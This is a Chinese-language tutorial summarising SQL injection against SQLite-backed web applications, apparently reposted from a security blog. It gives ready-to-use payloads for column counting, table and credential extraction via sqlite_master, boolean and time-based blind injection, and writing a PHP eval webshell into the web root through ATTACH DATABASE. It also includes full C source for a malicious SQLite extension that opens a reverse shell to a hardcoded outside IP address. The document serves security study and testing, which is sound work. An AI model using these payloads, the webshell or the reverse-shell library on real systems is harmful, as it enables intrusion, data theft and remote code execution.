SQLite 数据库注入总结
前言
SQLite 是一個進程內(nèi)的庫,實現(xiàn)了自給自足的、無服務(wù)器的、零配置的、事務(wù)性的 SQL 數(shù)據(jù)庫引擎。它是一個零配置的數(shù)據(jù)庫,這意味著與其他數(shù)據(jù)庫不一樣,您不需要在系統(tǒng)中配置。SQLite 與 MySQL 還是有些區(qū)別的,SQLite 直接讀寫普通磁盤文件,每一個數(shù)據(jù)庫就是一個文件,可以按應(yīng)用程序需求進行靜態(tài)或動態(tài)連接其存儲文件進行數(shù)據(jù)操作。
SQLite 基礎(chǔ)
在本篇文章中我們使用 SQLite3 來學(xué)習(xí),SQLite3 的語法與 MySQL 相似。詳細語法可以在這里學(xué)習(xí):https://www.runoob.com/sqlite/sqlite-tutorial.html。
SQLite 創(chuàng)建數(shù)據(jù)庫
SQLite 的 sqlite3 命令被用來創(chuàng)建新的 SQLite 數(shù)據(jù)庫。您不需要任何特殊的權(quán)限即可創(chuàng)建一個數(shù)據(jù)。如下:
root@ubuntu:~# sqlite3 DatabaseName.db SQLite version 3.31.1 2020-01-27 19:55:54 Enter ".help" for usage hints. sqlite>上面的命令將在當(dāng)前目錄下創(chuàng)建一個文件 DatabaseName.db,該文件將被 SQLite 引擎用作數(shù)據(jù)庫,并且 sqlite3 命令在成功創(chuàng)建數(shù)據(jù)庫文件之后,將提供一個 sqlite> 提示符,該提示符用于交互式的操作庫內(nèi)的數(shù)據(jù)。我們可以使用 .database 命令來查看當(dāng)前數(shù)據(jù)庫:
sqlite> .database main: /root/DatabaseName.dbSQLite 附加數(shù)據(jù)庫
假設(shè)這樣一種情況,當(dāng)在同一時間有多個數(shù)據(jù)庫可用,您想使用其中的任何一個。SQLite 的 ATTACH DATABASE 語句是用來選擇一個特定的數(shù)據(jù)庫。SQLite 的 ATTACH DATABASE 語句的基本語法如下:
ATTACH DATABASE file_name AS database_name;打開的數(shù)據(jù)庫和使用 ATTACH 附加進來的數(shù)據(jù)庫的必須位于同一文件夾下。如果數(shù)據(jù)庫尚未被創(chuàng)建,上面的命令將創(chuàng)建一個數(shù)據(jù)庫。
如下,我們想附加一個現(xiàn)有的數(shù)據(jù)庫 testDB.db:
sqlite> ATTACH DATABASE 'testDB.db' as 'TEST';如下,執(zhí)行 .database 命令后,可以看到成功附加了一個 TEST:
sqlite> .database main: /root/DatabaseName.db TEST: /root/testDB.db在特定情況下,我們可以通過附加數(shù)據(jù)庫的方式寫入 Webshell。
SQLite 創(chuàng)建表
SQLite 的 CREATE TABLE 語句用于在任何給定的數(shù)據(jù)庫創(chuàng)建一個新表。CREATE TABLE 語句的基本語法如下:
CREATE TABLE database_name.table_name(column1 datatype PRIMARY KEY(one or more columns),column2 datatype,column3 datatype,.....columnN datatype, );如下實例,我們創(chuàng)建了一個 users 表,ID 作為主鍵,NOT NULL 的約束表示在表中創(chuàng)建紀錄時這些字段不能為 NULL:
sqlite> CREATE TABLE users(id INT PRIMARY KEY NOT NULL,username TEXT NOT NULL,password TEXT NOT NULL,age INT NOT NULL );您可以使用 SQLIte 命令中的 .tables 命令來驗證表是否已成功創(chuàng)建,該命令用于列出附加數(shù)據(jù)庫中的所有表:
sqlite> .tables users您可以使用 SQLite .schema 命令得到表的完整信息,如下所示:
sqlite> .schema users CREATE TABLE users(id INT PRIMARY KEY NOT NULL,username TEXT NOT NULL,password TEXT NOT NULL,age INT NOT NULL );SQLite Insert 語句
SQLite 的 INSERT INTO 語句用于向數(shù)據(jù)庫的某個表中添加新的數(shù)據(jù)行。語法如下:
INSERT INTO TABLE_NAME [(column1, column2, column3,...columnN)] VALUES (value1, value2, value3,...valueN);下面的語句將在 users 表中創(chuàng)建四個記錄:
INSERT INTO users (id,username,password,age) VALUES (1, 'Admin', '123456', 20); INSERT INTO users (id,username,password,age) VALUES (2, 'Whoami', '657260', 19); INSERT INTO users (id,username,password,age) VALUES (3, 'Bunny', '963756', 19); INSERT INTO users (id,username,password,age) VALUES (4, 'Allen', '759135', 21);SQLite Select 語句
SQLite 的 SELECT 語句用于從 SQLite 數(shù)據(jù)庫表中獲取數(shù)據(jù),以結(jié)果表的形式返回數(shù)據(jù)。SELECT 語句語法如下:
SELECT column1, column2, columnN FROM table_name;如下我們查詢剛剛創(chuàng)建的 users 表:
sqlite> .header on sqlite> .mode column # 前兩個命令被用來設(shè)置格式化的輸出 sqlite> SELECT * FROM users; id username password age ---------- ---------- ---------- ---------- 1 Admin 123456 20 2 Whoami 657260 19 3 Bunny 963756 19 4 Allen 759135 21SQLite 注釋
與 MySQL 常見的注釋符 # 不同,SQLite 的注釋符以兩個連續(xù)的 “-” 字符(ASCII 0x2d)開始,并擴展至下一個換行符(ASCII 0x0a)或直到輸入結(jié)束,以先到者為準。
您也可以使用 C 風(fēng)格的注釋,以 /* 開始,并擴展至下一個 */ 字符對或直到輸入結(jié)束,以先到者為準。SQLite 的注釋可以跨越多行。
sqlite>.help -- 這是一個簡單的注釋SQLite sqlite_master 表
sqlite_master 表是 SQLite 的系統(tǒng)表,是為每個 SQLite 數(shù)據(jù)庫自動創(chuàng)建的特殊表。該表記錄該數(shù)據(jù)庫中保存的表、索引、視圖、和觸發(fā)器信息,每一行記錄一個項目。在創(chuàng)建一個 SQLite 數(shù)據(jù)庫的時候,該表會自動創(chuàng)建。如下查看 sqlite_master 表的結(jié)構(gòu),發(fā)現(xiàn)其包含 5 列:
sqlite> .schema sqlite_master CREATE TABLE sqlite_master (type text,name text,tbl_name text,rootpage integer,sql text );- type:其值為 “table” 或者 “index”。
- name:這個表的名稱或者索引。
- sql:創(chuàng)建表所使用的完整的 SQL 語句。
可知,sqlite_master 表中的 sql 字段中記錄著你建表留下的完整的記錄,也就是說我們在注入的時候可以通過查詢 sqlite_master 表來獲取數(shù)據(jù)庫中的表名以及表結(jié)構(gòu),這就像我們在 MySQL 注入中查詢 information_schema 一樣。
同時,由于使用 CREATE 或 DROP 創(chuàng)建或銷毀表在實際上與從特殊的 sqlite_master 表中執(zhí)行 INSERT 或 DELETE 語句相同,所以當(dāng)我們在特殊情況下可以通過操作 sqlite_master 表來創(chuàng)建或刪除數(shù)據(jù)庫表。【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料包】
常見注入姿勢
SQLite 注入的基本操作與 MySQL 注入相似,MySQL 有的 SQLite 基本都有,一個最大的不同就是沒有 information_schema。
我們以下編寫測試代碼進行演示:
- index.php
測試閉合方式
正常查詢:
嘗試閉合單引號:
發(fā)現(xiàn)報錯,說明當(dāng)前閉合方式為單引號。
然后嘗試使用分號 ; 閉合 SQL 語句:
1';
也可以使用 – 進行注釋:
也可以使用 /* 進行注釋:
查詢 SQL 語句字段數(shù)
與 MySQL 一樣,我們可以使用 UNION 語句來查詢字段數(shù):
-1' union select 1,2,3; -1' union select 1,2,3 -- -1' union select 1,2,3/* -1' union select 1,2,3,4; -1' union select 1,2,3,4 -- -1' union select 1,2,3,4/*
可知當(dāng)前字段數(shù)為 4,并且可以在 1、2、3 這三個位置回顯。
查詢表名和列名
這里直接通過查詢 sqlite_master 表來實現(xiàn):
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4; -1' union select 1,2,(select sql from sqlite_master limit 0,1),4 -- -1' union select 1,2,(select sql from sqlite_master limit 0,1),4/*
如上圖所示,得到了當(dāng)前表創(chuàng)建時的語句:
從語句中我們得知當(dāng)前表名為 users,其中有 id、username、password、age 這四個字段。
當(dāng)存在多個表時,我們可以用 limit 關(guān)鍵字逐行讀取,也可以使用 group_concat 關(guān)鍵字進行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4; -1' union select 1,2,(select group_concat(sql) from sqlite_master),4 -- -1' union select 1,2,(select group_concat(sql) from sqlite_master),4/*查詢數(shù)據(jù)
得到表明和字段名之后我們便可以查詢數(shù)據(jù)了:
-1' union select 1,2,(select group_concat(username,password) from users),4; -1' union select 1,2,(select group_concat(username,password) from users),4 -- -1' union select 1,2,(select group_concat(username,password) from users),4/*布爾盲注
根據(jù)查詢正確或錯誤時的頁面回顯來判斷數(shù)據(jù)內(nèi)容:
-1' or length(sqlite_version())=5/* -1' or length(sqlite_version())=6/*# sqlite 中沒有 ascii, mid, left 等函數(shù) -1' or substr((select group_concat(sql) from sqlite_master),1,1)>'a'/* -1' or substr((select group_concat(sql) from sqlite_master),1,1)<'a'/* -1' or substr((select group_concat(sql) from sqlite_master),2,1)>'b'/* -1' or substr((select group_concat(sql) from sqlite_master),2,1)<'b'/* -1' or substr((select group_concat(sql) from sqlite_master),3,1)>'C'/* -1' or substr((select group_concat(sql) from sqlite_master),3,1)<'C'/* ......
在爆 sql 字段時最好先 hex 編碼一下。下面給出一個二分法盲注腳本:
時間盲注
SQLite 沒有 sleep() 函數(shù),但是有個 randomblob(N) 函數(shù),其作用是返回一個 N 字節(jié)長的包含偽隨機字節(jié)的 BLOG。 N 是正整數(shù)。可以用它來制造延時。
并且 SQLite 沒有 if,所以我們需要使用 case…when 來構(gòu)造查詢語句:
-1' or (case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)/*執(zhí)行 payload 后將有一段時間的延時。
SQLite 注入寫入 Webshell
還記得我們之前說的 SQLite 附加數(shù)據(jù)庫嗎?當(dāng)在同一時間有多個數(shù)據(jù)庫可用,您想使用其中的任何一個。SQLite 的 ATTACH DATABASE 語句是用來選擇一個特定的數(shù)據(jù)庫,使用該命令后,所有的 SQLite 語句將在附加的數(shù)據(jù)庫下執(zhí)行。
ATTACH DATABASE file_name AS database_name;如果附加的數(shù)據(jù)庫不存在,則會先創(chuàng)建該數(shù)據(jù)庫,如果數(shù)據(jù)庫文件路徑設(shè)置在 WEB 目錄下,就可以實現(xiàn)寫入 Webshell 的功能。【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料包】
如下我們在 SQLite 中執(zhí)行以下語句:
ATTACH DATABASE '/var/www/html/shell.php' AS shell; # 附加一個名為 shell.php 的數(shù)據(jù)庫 create TABLE shell.exp (webshell text); # 為 shell 庫創(chuàng)建一個表 insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n'); # 插入數(shù)據(jù)
如上圖所示,成功在 WEB 目錄匯總生成了 shell.php,訪問 shell.php 即可:
而在實際的 SQLite 注入中,寫 Webshell 并沒有那么簡單,比如我們之前的測試代碼:
- index.php
其中使用的是 query() 函數(shù)來執(zhí)行 SQL 語句,這樣的話就無法執(zhí)行分號 ; 后面的內(nèi)容,但如果我們將 query() 換成 exec(),此時將造成堆疊注入,這樣便可以寫 Webshell 了,并且 exec() 函數(shù)執(zhí)行后沒有回顯。我們在注入的時候執(zhí)行以下 payload 就行了:
-1';ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (webshell text);insert INTO shell.exp (webshell) VALUES ('\r\n\r\n<?php eval($_POST[whoami]);?>\r\n\r\n');/*
如下成功連接 Webshell:
SQLite 加載動態(tài)庫
【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料包】
為了方便開發(fā)者可以很輕便的擴展功能,SQLite 從 3.3.6 版本開始提供了支持擴展的能力,通過sqlite_load_extension API(或者 load_extension 函數(shù) ),開發(fā)者可以在不改動 SQLite 源碼的情況下,通過動態(tài)加載的庫(so/dll/dylib)來擴展 SQLite 的能力。與 MySQL 中 UDF 類似,如果我們讓 SQLite 加載惡意的動態(tài)庫,那我們便可以達到執(zhí)行系統(tǒng)命令的目的。
下面我們嘗試通過 load_extension 加載惡意擴展實現(xiàn)反彈 Shell。
首先根據(jù) SQLite 官網(wǎng)的例子,編寫一個 so 擴展:
/* Add your header comment here */ #include <sqlite3ext.h> /* Do not use <sqlite3.h>! */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <signal.h> #include <dirent.h> #include <sys/stat.h> SQLITE_EXTENSION_INIT1/* Insert your extension code here */ int tcp_port = 2333; char *ip = "47.101.57.72";#ifdef _WIN32 __declspec(dllexport) #endifint sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi ){int rc = SQLITE_OK;SQLITE_EXTENSION_INIT2(pApi);int fd;if ( fork() <= 0){struct sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(tcp_port);addr.sin_addr.s_addr = inet_addr(ip);fd = socket(AF_INET, SOCK_STREAM, 0);if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){exit(0);}dup2(fd, 0);dup2(fd, 1);dup2(fd, 2);execve("/bin/bash", 0LL, 0LL); }return rc; }然后編譯:
gcc -g -fPIC -shared exp.c -o exp.so # gcc -g -shared exp.c -o exp.dll
然后直接加載:
如下圖所示,成功反彈 Shell:
借助 SQLite 動態(tài)加載的這個特性,我們可以通過文件上傳等方式在一個可預(yù)測的存儲路徑中預(yù)先放置一個覆蓋 SQLite 擴展規(guī)范的動態(tài)庫,然后通過 SQL 注入漏洞調(diào)用 load_extension,就可以很輕松的激活這個庫中的代碼,直接形成了遠程代碼執(zhí)行漏洞:
而在 Android
平臺中有漏洞利用經(jīng)驗的人應(yīng)該都很清楚,想要把一個惡意文件下載到手機存儲中,有許多實際可操作的方式,例如收到的圖片、音頻或者視頻,網(wǎng)頁的圖片緩存等。
但是默認情況下 load_extension 是被禁用的。
參考文獻
最后
關(guān)注私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)攻略·資料包】
總結(jié)
以上是生活随笔為你收集整理的SQLite 数据库注入总结的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全技术】红队之windows信息收集
- 下一篇: 【网络安全】SQL注入bypass最新版